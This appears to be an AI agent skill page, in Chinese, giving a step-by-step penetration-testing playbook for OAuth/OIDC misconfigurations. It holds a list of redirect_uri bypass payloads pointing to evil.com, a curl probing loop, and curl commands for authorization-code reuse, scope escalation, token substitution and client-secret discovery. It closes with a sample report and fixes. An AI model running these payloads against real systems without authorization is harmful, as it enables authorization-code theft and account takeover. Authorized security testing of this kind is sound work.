# Exploiting OAUTH Misconfiguration

> 在安全评估期间识别并利用 OAuth 2.0 和 OpenID Connect 错误配置，包括重定向 URI 操纵、令牌泄漏和授权码窃取。

- Skill: `killvxk/exploiting-oauth-misconfiguration` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-oauth-misconfiguration`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-oauth-misconfiguration/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Integrations & APIs
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-oauth-misconfiguration

---


# 利用 OAuth 错误配置（Exploiting OAuth Misconfiguration）

## 适用场景

- 当应用程序使用 OAuth 2.0 或 OpenID Connect 进行身份验证时，在授权渗透测试期间
- 评估"使用 Google/Facebook/GitHub 登录"社交登录实现时
- 测试应用程序之间的单点登录（SSO）流程时
- 评估使用 OAuth Bearer 令牌的 API 授权时
- 对充当 OAuth 提供者或消费者的应用程序进行安全评估期间

## 前置条件

- **授权**：涵盖 OAuth/SSO 流程的书面渗透测试协议
- **Burp Suite Professional**：用于拦截 OAuth 重定向流程
- **带开发者工具的浏览器**：用于监控重定向链和令牌泄漏
- **多个测试账户**：在 OAuth 提供者和目标应用程序上都有
- **curl**：用于手动 OAuth 流程测试
- **攻击者控制的服务器**：用于接收重定向的令牌/授权码

## 工作流程

### 步骤 1：映射 OAuth 流程和配置

识别 OAuth 授权类型、端点和配置。

```bash
# 发现 OAuth/OIDC 配置端点
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# 需要识别的关键端点：
# - 授权端点：/oauth/authorize
# - 令牌端点：/oauth/token
# - 用户信息端点：/oauth/userinfo
# - JWKS 端点：/oauth/certs

# 在 Burp 中捕获授权请求
# 典型的授权码流程：
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# 识别授权类型：
# - 授权码：response_type=code
# - 隐式：response_type=token
# - 混合：response_type=code+token

# 检查 PKCE 参数：
# - code_challenge=...
# - code_challenge_method=S256
```

### 步骤 2：测试重定向 URI 操纵

尝试将授权码或令牌重定向到攻击者控制的域名。

```bash
# 通过 redirect_uri 测试开放重定向
# 原始：redirect_uri=https://app.example.com/callback
# 尝试各种绕过方法：

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://app.example.com@evil.com/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "测试: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# 如果 redirect_uri 验证基于路径，尝试路径遍历
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# 如果使用子域名匹配，尝试子域名接管 + 重定向
# redirect_uri=https://abandoned-subdomain.example.com/
```

### 步骤 3：测试授权码和令牌窃取

利用泄漏向量窃取 OAuth 令牌和授权码。

```bash
# 通过 Referer 头测试令牌泄漏
# 如果隐式流程在 URL 片段中返回令牌：
# https://app.example.com/callback#access_token=TOKEN
# 且回调页面加载外部资源，
# Referer 头可能泄漏包含令牌的 URL

# 通过 Referer 测试授权码泄漏
# 在回调处接收到授权码后，检查：
# 1. 页面是否加载外部图片/脚本
# 2. 页面是否有外部站点的链接
# Burp：检查包含 "code=" 的 Referer 头的代理历史

# 测试授权码重用
CODE="captured_auth_code"
# 第一次使用
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# 第二次使用（应该失败但可能不会）
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# 测试 state 参数是否缺失/可预测
# 完全删除 state 参数
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# 如果无错误，则 OAuth 流程的 CSRF 攻击是可能的
```

### 步骤 4：测试权限提升和权限操纵

尝试获取超出预期的更多权限。

```bash
# 请求超出所需的额外权限范围
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# 在令牌交换中测试提升的权限范围
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# 使用操纵声明测试令牌
# 如果 JWT 访问令牌，尝试修改声明（参见 JWT 测试技能）

# 测试刷新令牌权限范围提升
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# 测试具有提升权限的客户端凭据流
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
```

### 步骤 5：通过 OAuth 测试账户接管

利用 OAuth 流程接管受害者账户。

```bash
# 测试 OAuth 提供者上缺少电子邮件验证
# 1. 在 OAuth 提供者上用受害者的电子邮件创建账户
# 2. 通过 OAuth 登录目标应用
# 3. 如果应用信任未验证的电子邮件，则发生账户关联

# 测试预身份验证账户关联
# 1. 在目标应用上用受害者电子邮件注册（无 OAuth）
# 2. 攻击者将其 OAuth 账户关联到受害者电子邮件
# 3. 攻击者现在可以通过 OAuth 登录受害者账户

# 账户关联上的 CSRF
# 如果 /oauth/link 端点缺少 CSRF 保护：
# 1. 攻击者发起 OAuth 流程，捕获授权码
# 2. 构建一个向受害者会话提交授权码的页面
# 3. 受害者账户被关联到攻击者的 OAuth 账户

# 测试令牌替换
# 用来自一个 client_id 的授权码/令牌与另一个一起使用
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
```

### 步骤 6：测试客户端密钥和令牌安全性

评估 OAuth 凭据和令牌的安全性。

```bash
# 检查暴露的客户端密钥
# 搜索 JavaScript 源代码
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# 检查移动应用反编译中的硬编码密钥

# 测试令牌撤销
ACCESS_TOKEN="captured_access_token"
# 使用令牌
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# 撤销令牌
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# 测试已撤销的令牌是否仍然有效
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# 测试令牌生命周期
# 解码 JWT 访问令牌并检查 exp 声明
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# 长期令牌（小时/天）增加了攻击窗口

# 检查 PKCE 实现
# 如果公共客户端没有 PKCE，则授权码拦截是可能的
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **授权码流程（Authorization Code Flow）** | 最安全的 OAuth 流程；在服务器端将短期授权码交换为令牌 |
| **隐式流程（Implicit Flow）** | 已弃用的流程，在 URL 片段中直接返回令牌；容易泄漏 |
| **PKCE** | 授权码交换证明密钥；防止授权码拦截攻击 |
| **重定向 URI 验证（Redirect URI Validation）** | 验证 redirect_uri 与已注册值匹配的服务器端验证 |
| **State 参数（State Parameter）** | 将 OAuth 请求绑定到用户会话的随机值，防止 CSRF |
| **权限范围提升（Scope Escalation）** | 请求或获取超过授权的更多权限 |
| **令牌泄漏（Token Leakage）** | 通过 Referer 头、日志或浏览器历史暴露 OAuth 令牌 |
| **开放重定向（Open Redirect）** | 将 OAuth redirect_uri 用作开放重定向来窃取令牌 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 拦截 OAuth 重定向链并修改参数 |
| **OWASP ZAP** | 自动化 OAuth 流程扫描 |
| **Postman** | 使用环境变量进行手动 OAuth 流程测试 |
| **oauth-tools.com** | 在线 OAuth 流程调试和测试 |
| **jwt.io** | OAuth 访问令牌的 JWT 令牌分析 |
| **浏览器开发者工具** | 监控网络请求和重定向链 |

## 常见场景

### 场景：重定向 URI 子域名绕过
OAuth 提供者对 `*.example.com` 验证 `redirect_uri`。攻击者发现一个容易接管的子域名（`old.example.com`），接管它，并窃取重定向到该子域名的授权码。

### 场景：缺少 State 参数的 CSRF
OAuth 登录流程不包含或不验证 `state` 参数。攻击者构建一个链接，将受害者登录到攻击者的账户，从而实现账户混淆攻击。

### 场景：隐式流程令牌窃取
应用程序使用隐式流程，在 URL 片段中接收访问令牌。回调页面加载第三方分析脚本，令牌通过 Referer 头泄漏。

### 场景：授权码重用
OAuth 提供者在首次使用后不使授权码失效。通过 Referer 泄漏拦截授权码的攻击者即使在合法用户完成流程后仍可将其交换为访问令牌。

## 输出格式

```
## OAuth 安全评估报告

**漏洞**: 重定向 URI 验证绕过
**严重性**: 高（CVSS 8.1）
**位置**: GET /oauth/authorize - redirect_uri 参数
**OWASP 类别**: A07:2021 - 身份识别和认证失效

### OAuth 配置
| 属性 | 值 |
|----------|-------|
| 授权类型 | 授权码 |
| PKCE | 未实现 |
| State 参数 | 存在但可预测 |
| 令牌类型 | JWT（RS256） |
| 令牌有效期 | 1 小时 |
| 刷新令牌 | 30 天 |

### 发现
| 发现 | 严重性 |
|---------|----------|
| 重定向 URI 路径遍历绕过 | 高 |
| 公共客户端缺少 PKCE | 高 |
| 授权码可重用 | 中 |
| State 参数使用顺序值 | 中 |
| JavaScript 中暴露的客户端密钥 | 严重 |
| 密码更改后令牌未撤销 | 中 |

### 建议
1. 使用精确字符串匹配实施严格的 redirect_uri 验证
2. 要求所有客户端（尤其是公共/移动客户端）使用 PKCE
3. 首次使用后使授权码失效
4. 使用与用户会话绑定的加密随机 state 参数
5. 从隐式流程迁移到带 PKCE 的授权码流程
6. 绝不在客户端代码中暴露客户端密钥
```

